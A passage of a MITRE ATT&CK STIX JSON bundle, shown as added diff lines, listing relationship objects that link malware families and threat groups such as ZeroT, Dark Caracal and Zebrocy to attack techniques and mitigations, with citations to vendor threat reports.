{ + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fee82671-3bba-48c7-bef8-63b2b2bb0fa7", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has encrypted its payload with RC4.(Citation: Proofpoint ZeroT Feb 2017)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-03-17T02:54:39.800Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx", + "description": "Huss, D., et al. (2017, February 2). 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--23c6c48b-f602-43f9-9c23-d4e46fba9194", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string \u201c&&&\u201d.(Citation: Lookout Dark Caracal Jan 2018)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T00:51:35.118Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335", + "description": "[ZLib](https://attack.mitre.org/software/S0086) creates Registry keys to allow itself to run as various services.(Citation: Cylance Dust Storm)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-03-30T02:44:26.634Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). 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Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4ce0f95f-577c-4a02-a355-328cf376ceba", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "modified": "2020-03-14T23:25:21.072Z", + "source_ref": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d297b77f-9511-429a-b148-d7b8f0b5b502", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.(Citation: Symantec Tick Apr 2016)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-03-17T23:46:10.823Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan", + "description": "DiMaggio, J. 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Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d07f2da6-6497-414f-96c1-9dd60155b169", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers shares on the network(Citation: Symantec Buckeye)", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "modified": "2020-03-18T20:19:35.787Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0da51973-98f8-4a5e-8217-da19f7bc64b6", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "modified": "2020-03-02T19:30:53.636Z", + "source_ref": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--147e009d-48db-40bc-999c-70aa1e770a0c", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of listing contents of folders on the victim. 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Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95", + "description": "[Helminth](https://attack.mitre.org/software/S0170) splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.(Citation: Palo Alto OilRig May 2016)", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "modified": "2020-03-16T16:55:39.519Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "description": "Falcone, R. and Lee, B.. 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Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3bfef472-e4b0-41be-be6b-314400c079cb", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather information about the victim proxy server.(Citation: Proofpoint Leviathan Oct 2017)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2020-03-17T01:53:17.519Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f9a34eaa-c17c-400a-b4e0-063445e430af", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) encrypts the configuration.(Citation: TrendMicro Lazarus Nov 2018)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-03-20T16:06:56.367Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:47:41.389Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--811ad4bc-198d-400a-a5f0-10d0ef856794", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) applies compression to C2 traffic using the ZLIB library.(Citation: PaloAlto CardinalRat Apr 2017)", + "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", + "modified": "2020-03-30T01:59:34.938Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T16:39:54.298Z", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7cb37ba3-3a4b-45e5-974c-e337301e71a2", + "description": "[Comnie](https://attack.mitre.org/software/S0244) establishes persistence via a .lnk file in the victim\u2019s startup path.(Citation: Palo Alto Comnie)", + "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "modified": "2020-03-17T00:43:32.016Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/", + "description": "Grunzweig, J. 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Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b3f0b38-d4e2-49e8-a8f9-6a186c31967f", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2021-04-22T14:35:25.543Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T17:43:28.261Z", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + }, + { + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021.", + "source_name": "Microsoft DUBNIUM July 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7e88dd85-5ade-4622-a6ff-eccd75f020ad", + "description": "A [Night Dragon](https://attack.mitre.org/groups/G0014) DLL included an XOR-encoded section.(Citation: McAfee Night Dragon)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2021-06-16T15:50:05.404Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:02:59.104Z", + "external_references": [ + { + "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36f0a0c9-ccf8-4b82-a9ab-d61d13094b24", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used pass-the-hash tools to gain usernames and passwords.(Citation: McAfee Night Dragon)", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "modified": "2021-06-16T15:50:05.390Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:02:59.299Z", + "external_references": [ + { + "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the echo %APPDATA% command to list the contents of the directory.(Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019) [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-12-09T21:54:33.639Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:39:48.457Z", + "external_references": [ + { + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. 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Malware Analysis Report (AR20-303B). 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Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e", + "target_ref": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", + "modified": "2020-01-24T14:18:13.663Z", + "source_ref": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) queries the registry to look for information about Terminal Services.(Citation: Symantec Buckeye)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2020-03-18T20:19:35.792Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "description": "Symantec Security Response. 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Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--25d65c10-5fa3-40c1-9e25-936894446178", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).(Citation: Talos Smoke Loader July 2018)", + "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", + "modified": "2020-03-17T16:34:11.261Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. 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Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the MAC and IP addresses during installation.(Citation: Palo Alto T9000 Feb 2016)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2020-03-30T03:07:37.788Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fa14a106-cc98-4a5f-b849-85a5491eea36", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can delete files and itself after infection to avoid analysis.(Citation: US-CERT Volgmer 2 Nov 2017)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2019-10-15T22:51:03.062Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. 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Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e104cf3c-a802-4e06-8abc-6293cea9492f", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses [PowerSploit](https://attack.mitre.org/software/S0194) to inject shellcode into PowerShell.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Symantec Cicada November 2020)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2020-12-17T18:57:21.557Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. 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BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47a10b36-7f39-480c-8708-410eb3af46ca", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses the net user command.(Citation: Palo Alto Comnie)", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "modified": "2020-03-18T19:41:49.395Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/", + "description": "Grunzweig, J. (2018, January 31). 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(2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. 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The Gorgon Group: Slithering Between Nation State and Cybercrime. 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Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66", + "description": "(Citation: XAgentOSX 2017)(Citation: Sofacy Komplex Trojan)", + "target_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2019-09-09T17:44:36.195Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. 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Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cbbfb291-9c39-4fab-a2ac-c1f076c7c367", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch an interface where it can execute several commands on the victim\u2019s PC.(Citation: GDATA Zeus Panda June 2017)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-18T15:41:19.841Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T17:59:44.427Z", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. 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Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c7c855ed-9550-4611-84bd-d4d7c86cef3c", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect data from the victim and stage it in LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp.(Citation: Unit 42 NOKKI Sept 2018)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-17T14:21:21.517Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T19:50:46.664Z", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. 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Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--61528841-379e-4fa3-a233-34c745764c18", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2021-06-09T18:51:50.543Z", + "source_ref": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.021Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0c533013-a72e-4aef-bd19-8ea9ea415189", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has obfuscated strings in [Bandook](https://attack.mitre.org/software/S0234) by base64 encoding, and then encrypting them.(Citation: Lookout Dark Caracal Jan 2018)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-07-16T15:35:20.943Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. 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Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ed561ab1-db94-4dbe-873b-d3e6cb488c4d", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather information about TCP connection state.(Citation: Symantec Volgmer Aug 2014)", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "modified": "2019-10-15T22:51:03.070Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. 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Retrieved January 22, 2016.", + "source_name": "FireEye APT17" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--28a113cd-efdc-49cf-b6d2-c967e11de751", + "description": "Some [Brave Prince](https://attack.mitre.org/software/S0252) variants have used South Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.(Citation: McAfee Gold Dragon)", + "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", + "modified": "2020-04-21T23:09:31.619Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + 